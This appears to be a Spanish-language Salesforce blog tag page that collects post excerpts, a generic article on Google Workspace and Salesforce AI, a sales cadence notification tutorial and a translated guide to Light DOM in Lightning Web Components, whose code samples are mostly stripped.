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Etiqueta: apis

Desarrollo de la nueva solución de gestión de API de Flex Gateway de MuleSoft

En nuestra serie de preguntas y respuestas «Engineering Energizers», exploramos las extraordinarias trayectorias de líderes en ingeniería que han realizado importantes contribuciones en sus respectivos campos. Hoy, nos sumergimos en el viaje técnico de Evangelina Martínez Ruiz Moreno, Directora Senior de Salesforce, que encabezó el desarrollo del nuevo Anypoint Flex Gateway de MuleSoft. Sigue leyendo para explorar cómo […]

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Salesforce recibe las máximas distinciones de G2 y Gartner

Nuestras capacidades de automatización de la fuerza de ventas siguen aportando valor e innovación, como afirman nuestros clientes.

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Uso del usuario de integración de Salesforce y credenciales de cliente OAuth para invocar API REST ☁️

Uso del usuario de integración de Salesforce y credenciales de cliente OAuth para invocar API REST ☁️

Aprenda a configurar el usuario de integración de Salesforce tanto para la autenticación mediante credenciales de cliente de OAuth como para la autorización mediante conjuntos de permisos.

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Superación de obstáculos complejos: Revelación del proceso de Tableau para crear nuevas funciones y características – Blog de ingeniería de Salesforce

En nuestra serie de preguntas y respuestas «Engineering Energizers», examinamos las experiencias profesionales que han formado a los líderes de ingeniería de Salesforce. Conozca a Patrick Green, miembro principal del personal técnico de ingeniería de Salesforce. Patrick da soporte al equipo Project Sharing and Permissions (PSP) de Tableau. El desarrollo de funciones desempeña un papel crucial en su trabajo, ya que garantiza el buen funcionamiento […]

La creación de funciones desempeña un papel fundamental en su trabajo

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Cómo liberar el poder de la IA generativa sin crear su propio LLM

Los grandes modelos lingüísticos son la base de las revolucionarias aplicaciones de IA actuales. En lugar de entrenar un LLM en un conjunto de datos masivo, ahorre tiempo utilizando un modelo existente con indicaciones inteligentes basadas en sus datos. He aquí cómo.

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La versión Spring ’24: Una guía completa para desarrolladores de Salesforce ☁️

La versión Spring '24: Una guía completa para desarrolladores de Salesforce ☁️

La versión Spring ’24 ya está aquí, y estos son algunos de los aspectos más destacados de la versión, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versión Spring ’24 ya está aquí

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La versión Spring ’24 ya está aquí

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El poder de la IA: refuerzo de la seguridad de las aplicaciones mediante la eliminación de secretos en el código – Blog de ingeniería de Salesforce

Por Krishna Pandey y Scott Nyberg. En nuestra serie de preguntas y respuestas «Engineering Energizers», examinamos las trayectorias profesionales que han formado a los líderes de ingeniería de Salesforce. Conozca a Krishna Pandey, Director de ingeniería de seguridad de Salesforce. Con sede en Bangalore (India), su equipo de tecnología de seguridad de aplicaciones (AST) impulsa el programa de seguridad del código fuente de Salesforce, encargado de utilizar la IA para detectar y […]

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Mejore su experiencia MuleSoft con IA ☁️

Mejore su experiencia MuleSoft con IA ☁️

En el mundo de la IA, que se desarrolla rápidamente, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA.

En el mundo de la IA, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA

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¿Su IA generativa está inventando cosas? 4 formas de mantener la honestidad

La IA generativa a veces devuelve información incorrecta, conocida coloquialmente como «alucinaciones de IA» Esto es lo que puedes hacer para proteger tu negocio y a tus clientes.

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El código abierto y el futuro de la IA empresarial

Introducción

El código abierto se ha convertido en uno de los temas más candentes de la IA, y la fanfarria es bien merecida. La comunidad de código abierto mantiene un ritmo ágil con el estado de la técnica, ofreciendo modelos cada vez mayores y más capaces que a menudo compiten de forma impresionante con sus homólogos comerciales. Es una época apasionante

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Creación de una especificación de API con Visual API Designer de MuleSoft ☁️

Creación de una especificación de API con Visual API Designer de MuleSoft ☁️

Diseña tu especificación en minutos usando clics, no código con el Diseñador Visual de APIs de MuleSoft.

Diseña tu especificación en minutos usando clics, no código con el Diseñador Visual de APIs de MuleSoft

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Cómo el equipo Einstein hace operativos los modelos de IA a gran velocidad y escala

Por Yuliya Feldman y Scott Nyberg En nuestra serie de preguntas y respuestas «Engineering Energizers», examinamos las experiencias profesionales que han formado a los líderes de ingeniería de Salesforce. Conozca a Yuliya Feldman, Arquitecta de ingeniería de software en Salesforce. Yuliya trabaja en el equipo de servicios de aprendizaje automático de Salesforce Einstein, responsable de la operacionalización de los modelos de IA, que sirven como motor detrás de los […]

Generación de Salesforce

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La vicepresidenta senior de Slack aborda de frente los nuevos retos de la IA y la automatización

Por Rukmini Reddy y Scott Nyberg En nuestra serie de preguntas y respuestas «Engineering Energizers», examinamos las trayectorias profesionales que han formado a los líderes de ingeniería de Salesforce. Conozca a Rukmini Reddy, Vicepresidenta senior de ingeniería de software de la plataforma Slack. El objetivo de su equipo es potenciar a los desarrolladores, mejorar la productividad y ampliar los límites de la innovación en IA y automatización en […]

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La tecnología de Slack es la clave de la innovación

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Cortar la distancia entre la voz, Salesforce y sus interacciones con los residentes

El papel del centro de contacto es crucial para mejorar la prestación de experiencias. La modernización de esta función puede allanar posibles caminos para el progreso.

La modernización de esta función puede allanar posibles caminos para el progreso

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Guía completa de documentación de Salesforce (en un mundo de inteligencia artificial)

La plataforma Salesforce es muy potente. Con cada nueva versión, su org se vuelve más potente, pero también más compleja. Como le dijeron una vez a Spiderman: «un gran poder conlleva una gran responsabilidad». Entonces, ¿cómo puede asumir la responsabilidad real de mantener su organización? Con todo lo demás que tiene que hacer, documentar sus cambios es probablemente bajo en […]

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Google Workspace y Salesforce

Google está centrado en hacer que la tecnología sea más fácil de usar a través de la inteligencia artificial (IA) y en crear agentes que puedan entender e interactuar con sistemas informáticos. Además, Google Cloud se asocia con otras áreas de Google, como Google DeepMind, para llevar sus capacidades de IA al mercado y ponerlas a disposición de los clientes.

El enfoque de Google en IA

Google es una empresa líder en el campo de la inteligencia artificial (IA). Su enfoque en la IA se basa en varios principios clave que buscan hacer que la tecnología sea accesible y fácil de usar, crear agentes inteligentes que puedan entender e interactuar con sistemas informáticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes.

Hacer que la tecnología sea más accesible y fácil de usar

Google tiene como objetivo hacer que la tecnología de IA sea más accesible para todos. Esto implica desarrollar herramientas y recursos que permitan a las personas utilizar y aprovechar el poder de la IA en sus vidas diarias. Google ha lanzado productos como Google Assistant, que permite a los usuarios interactuar con dispositivos y servicios utilizando comandos de voz y lenguaje natural. También ha desarrollado el lenguaje de programación TensorFlow, que facilita la creación y entrenamiento de modelos de IA.

Crear agentes que puedan entender e interactuar con sistemas informáticos

Otro enfoque clave de Google en la IA es la creación de agentes inteligentes que puedan comprender y comunicarse de manera efectiva con sistemas informáticos. Google ha desarrollado tecnologías de procesamiento de lenguaje natural avanzadas que permiten a los agentes interactuar con los usuarios de una manera conversacional. Estos agentes pueden responder preguntas, proporcionar información y realizar tareas complejas a través de interfaces de voz y texto.

Colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas

Google reconoce la importancia de la colaboración con otros actores del ecosistema de la IA para garantizar la compatibilidad y la interoperabilidad entre diferentes sistemas. La empresa ha adoptado estándares abiertos y ha participado en iniciativas de código abierto para promover la colaboración y el intercambio de conocimientos en el campo de la IA. Además, Google ha desarrollado APIs y herramientas que permiten a los desarrolladores integrar la IA en sus propias aplicaciones y servicios de manera sencilla.

Desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios

Google comprende que diferentes usuarios tienen diferentes necesidades y roles, por lo que desarrolla productos de IA que se adaptan a estas diversas situaciones. Desde asistentes virtuales en smartphones hasta sistemas de IA para el hogar, Google ofrece una amplia gama de productos que aprovechan la IA para mejorar la vida de las personas. Estos productos están diseñados teniendo en cuenta la simplicidad y la usabilidad, para que cualquier usuario pueda aprovecharlos al máximo.

Mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes

Google se esfuerza por mejorar continuamente sus modelos de IA y personalizarlos para satisfacer las necesidades específicas de sus clientes. Utiliza técnicas de aprendizaje automático para mejorar la precisión y la eficiencia de sus modelos, y también permite a los usuarios personalizar los modelos de IA según sus preferencias y requisitos. Esto garantiza que los productos y servicios de Google sean relevantes y útiles para cada cliente individual.

En conclusión, el enfoque de Google en la inteligencia artificial se centra en hacer que la tecnología de IA sea accesible y fácil de usar, crear agentes inteligentes que puedan comprender e interactuar con sistemas informáticos, colaborar con el ecosistema para garantizar la compatibilidad con otros sistemas, desarrollar productos que se adapten a diferentes roles y necesidades de los usuarios, y mejorar y personalizar modelos de IA para satisfacer las necesidades de los clientes. A través de estos principios, Google busca impulsar el avance y el impacto positivo de la IA en nuestra sociedad.

La colaboración entre Google Workspace y Salesforce

La colaboración entre Google Workspace y Salesforce ofrece una combinación poderosa que impulsa la innovación y la colaboración en el entorno empresarial. Esta asociación estratégica integra las capacidades de inteligencia artificial (IA) de Google con los productos de Salesforce, brindando una serie de beneficios que ayudan a las empresas a alcanzar la eficiencia, productividad y satisfacción del cliente.

Oportunidades de innovación y colaboración

La colaboración entre Google Workspace y Salesforce brinda a las empresas numerosas oportunidades para innovar y colaborar de manera más efectiva. Estas dos tecnologías líderes se unen para ofrecer una experiencia empresarial más integrada y eficiente.

Con la integración de Google Workspace y Salesforce, los equipos pueden crear y editar fácilmente documentos, hojas de cálculo y presentaciones, todo ello dentro del entorno Salesforce. Esto les permite colaborar en tiempo real, brindando una mayor transparencia y agilidad en el flujo de trabajo.

Además, las empresas pueden aprovechar las funcionalidades de IA de Google, como la traducción automática y la generación de sugerencias inteligentes, para mejorar la eficiencia y la calidad del trabajo. Por ejemplo, los equipos pueden utilizar la IA de Google para traducir contenido en diferentes idiomas, lo cual facilita la colaboración en un entorno global.

Asimismo, la integración de Salesforce con Google Workspace permite una gestión más eficaz de los datos y la información. Los usuarios pueden acceder y actualizar los datos desde una única plataforma, evitando la duplicación de esfuerzos y mejorando la precisión y la consistencia de la información.

Integración de las capacidades de IA de Google con los productos de Salesforce

Una de las principales ventajas de la colaboración entre Google Workspace y Salesforce es la integración de las capacidades de IA de Google con los productos de Salesforce. Esto permite a las empresas aprovechar el potencial de la IA para mejorar la toma de decisiones, automatizar tareas y ofrecer experiencias más personalizadas a los clientes.

Con la integración de la IA de Google, las empresas pueden utilizar el aprendizaje automático para analizar grandes volúmenes de datos y extraer información valiosa. Esto les permite identificar patrones y tendencias, obtener conocimientos accionables y tomar decisiones más informadas y estratégicas.

Además, la IA de Google puede ayudar a automatizar tareas repetitivas y de baja valor añadido, lo cual libera tiempo para que los empleados se centren en actividades más estratégicas. Esto no solo aumenta la eficiencia operativa, sino que también mejora la satisfacción y el compromiso de los empleados.

Por otro lado, la integración de la IA de Google con los productos de Salesforce permite ofrecer experiencias más personalizadas a los clientes. La IA puede analizar los datos del cliente y proporcionar recomendaciones y sugerencias relevantes en tiempo real, lo cual mejora la satisfacción del cliente y fomenta la fidelidad a la marca.

Impulso en la eficiencia, productividad y satisfacción del cliente

La colaboración entre Google Workspace y Salesforce tiene un impacto significativo en la eficiencia, productividad y satisfacción del cliente. Al integrar estas dos potentes plataformas, las empresas pueden aprovechar una serie de beneficios que mejoran su rendimiento y competitividad.

En primer lugar, la colaboración integrada de Google Workspace y Salesforce impulsa la eficiencia operativa. Los equipos pueden colaborar de forma más efectiva, trabajar en tiempo real y acceder a información actualizada desde una única plataforma. Esto acelera los procesos de trabajo, reduce los tiempos de espera y optimiza los recursos de la empresa.

Además, la integración de las capacidades de IA de Google con los productos de Salesforce automatiza tareas y procesos, lo cual aumenta la productividad del equipo. La IA puede identificar oportunidades de automatización, gestionar flujos de trabajo y ofrecer recomendaciones inteligentes, lo cual permite a los empleados ser más eficientes y centrarse en actividades de mayor valor añadido.

Por último, la colaboración entre Google Workspace y Salesforce mejora la satisfacción del cliente al ofrecer experiencias más personalizadas y eficientes. Mediante la integración de la IA, las empresas pueden analizar los datos del cliente, entender sus necesidades y ofrecer recomendaciones adaptadas a sus preferencias. Esto fortalece la relación con el cliente, aumenta la fidelidad a la marca y mejora la reputación empresarial.

La colaboración entre Google Workspace y Salesforce establece una asociación estratégica que brinda numerosos beneficios a las empresas. La integración de estas dos tecnologías líderes impulsa la innovación y la colaboración, integra las capacidades de IA de Google con los productos de Salesforce, y aumenta la eficiencia, productividad y satisfacción del cliente.

Esta colaboración ofrece un entorno empresarial más integrado y eficiente, donde los equipos pueden colaborar en tiempo real, utilizar la IA para mejorar la toma de decisiones y automatizar tareas, y ofrecer experiencias más personalizadas a los clientes. Esto posiciona a las empresas en una mejor posición competitiva y les permite prosperar en un entorno empresarial en constante evolución.

El futuro del desarrollo de software y la IA

La Inteligencia Artificial (IA) está revolucionando la forma en que desarrollamos software. Su capacidad para aprender, adaptarse y automatizar tareas está transformando rápidamente la industria del desarrollo de software, optimizando el código y mejorando la eficiencia y la productividad de los equipos de desarrollo.

Uno de los principales beneficios de la IA en el desarrollo de software es su capacidad para optimizar el código de forma automática. Mediante el uso de algoritmos avanzados, la IA puede analizar grandes cantidades de código y encontrar formas de mejorarlo, eliminando redundancias, mejorando la legibilidad y reduciendo los tiempos de ejecución. Esto permite a los desarrolladores ahorrar tiempo y esfuerzo, centrándose en tareas más creativas y de mayor valor.

Otro aspecto clave de la IA en el desarrollo de software es su capacidad para automatizar tareas. La IA puede tomar decisiones y ejecutar acciones basadas en análisis de datos y patrones, lo que significa que puede realizar tareas repetitivas y tediosas de forma rápida y precisa. Esto libera a los desarrolladores de la carga de trabajo abrumadora y les permite centrarse en tareas más desafiantes y estratégicas.

Además de optimizar el código y automatizar tareas, la IA también facilitará la migración y modernización de sistemas heredados. Muchas empresas y organizaciones aún utilizan sistemas heredados que son difíciles de mantener y actualizar. La IA puede analizar estos sistemas, identificar áreas problemáticas y proporcionar recomendaciones para su modernización. Esto permitirá a las empresas mantenerse al día con las últimas tecnologías y evitar problemas de obsolescencia.

Es importante destacar que Google y Salesforce están comprometidos con abordar los riesgos asociados con la IA. Dado que la IA puede tener implicaciones éticas y de privacidad, estas empresas implementan controles de responsabilidad para garantizar un uso ético y responsable de la IA. Esto incluye la protección de datos sensibles, la transparencia en los algoritmos utilizados y la participación de expertos en ética en el desarrollo de sistemas de IA.

En conclusión, el futuro del desarrollo de software está estrechamente vinculado con la IA. La capacidad de la IA para optimizar el código, automatizar tareas y facilitar la migración de sistemas heredados brinda numerosas oportunidades para mejorar la eficiencia y la productividad en el desarrollo de software. Sin embargo, también es crucial abordar los riesgos asociados con la IA y garantizar un uso ético y responsable de esta tecnología. Al hacerlo, podemos aprovechar al máximo el potencial de la IA en el desarrollo de software y beneficiarnos de sus numerosas ventajas.

La educación y la IA

La inteligencia artificial (IA) se ha convertido en una tecnología transformadora en diversos campos, y la educación no es una excepción. En lugar de temer la IA, debemos adoptarla como una herramienta de apoyo para el aprendizaje en las aulas. Sin embargo, es fundamental tener en cuenta ciertos aspectos clave para garantizar una implementación efectiva y ética de la IA en la educación.

Adoptar la IA como una herramienta de apoyo para el aprendizaje

La IA puede ser vista como una aliada valiosa en el proceso de enseñanza-aprendizaje, ya que puede proporcionar recursos y herramientas que permiten a los estudiantes acceder a información y conocimientos de manera más eficiente. Por ejemplo, los chatbots educativos pueden brindar respuestas instantáneas a preguntas comunes, lo que ayuda a los estudiantes a resolver sus dudas de manera rápida y autónoma.

Sin embargo, es importante que los educadores proporcionen orientación y supervisión adecuadas para garantizar que los estudiantes utilicen la IA de manera efectiva y que comprendan sus limitaciones. La IA no debe reemplazar al maestro, sino complementar su labor y enriquecer la experiencia educativa.

Brindar igualdad de acceso a recursos y oportunidades

La implementación de la IA en la educación tiene el potencial de eliminar barreras y brindar igualdad de acceso a recursos y oportunidades para todos los estudiantes, independientemente de su ubicación geográfica o sus circunstancias socioeconómicas. Por ejemplo, la IA puede ofrecer contenido educativo personalizado y adaptado a las necesidades individuales de los estudiantes, lo que permite un aprendizaje más eficiente y efectivo.

Es fundamental que los gobiernos y las instituciones educativas inviertan en infraestructura tecnológica y en programas de capacitación para los docentes, de modo que todos los estudiantes tengan la oportunidad de beneficiarse de las ventajas de la IA en el ámbito educativo. De esta manera, se puede reducir la brecha educativa y promover la igualdad de oportunidades.

Preparar a la próxima generación para adaptarse y utilizar la IA de manera efectiva

A medida que la IA se vuelve más omnipresente en la sociedad, es fundamental preparar a los estudiantes para adaptarse y utilizar esta tecnología de manera efectiva. Los programas educativos deben incluir contenidos relacionados con la inteligencia artificial, en los que se enseñe a los estudiantes sobre los conceptos básicos de la IA y cómo aplicarla de manera ética.

Además, es importante fomentar habilidades como el pensamiento crítico, el razonamiento lógico y la resolución de problemas, para que los estudiantes puedan comprender y evaluar de manera efectiva los resultados y las recomendaciones proporcionadas por los sistemas de IA. También se les debe fomentar la capacidad de adaptación y la idea de que la tecnología evoluciona constantemente, por lo que siempre deben estar dispuestos a aprender y actualizarse.

No negarles el acceso ni descuidar las implicaciones éticas de la IA

Si bien la IA ofrece muchas oportunidades en el ámbito educativo, no debemos negarles el acceso a aquellos estudiantes que no tienen acceso a la tecnología o que prefieren aprender de manera tradicional. Algunas personas pueden tener reservas o preferir métodos de enseñanza más convencionales, y es importante respetar su elección.

Además, no debemos descuidar las implicaciones éticas de la IA en la educación. Es necesario establecer políticas claras para garantizar la privacidad y protección de los datos de los estudiantes, así como evitar la discriminación y los sesgos algorítmicos. Los educadores y las instituciones educativas deben tomar la responsabilidad de utilizar la IA de manera ética y transparente, en beneficio de los estudiantes.

TL;DR

La IA en la educación debe ser utilizada como una herramienta de apoyo para el aprendizaje, brindando igualdad de acceso a recursos y oportunidades, y preparando a los estudiantes para adaptarse y utilizar la IA de manera efectiva. Sin embargo, es importante no negarles el acceso a aquellos que prefieren métodos de enseñanza más tradicionales y asegurarse de considerar las implicaciones éticas de la IA en la educación.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Última actualización el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el próximo en superarlo Así que, ¡prepárese y sumérjase! 👉 Ya que estás aquí, es posible que desees

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Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

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Desmitificando Light DOM y sus casos de uso ☁️

Desmitificando Light DOM y sus casos de uso ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

¿Cómo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuándo usarlo y cuándo no usarlo

Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
«>

mascotChanger.js

Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .

También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementación más sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
«>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.

En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.

4) Implementación más flexible de las mejores prácticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

«>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

«>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

«>

Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y dónde se admiten.

Experiencia en la nube Experiencia relámpago Aplicaciones móviles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes.
Implementación más sencilla de componentes profundamente anidados
Estilo global No No
Implementación más flexible de las mejores prácticas de accesibilidad

*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea más en la guía para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no están disponibles en ellos. Eche un vistazo a la documentación para saber más.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusión

En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.

Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

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Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

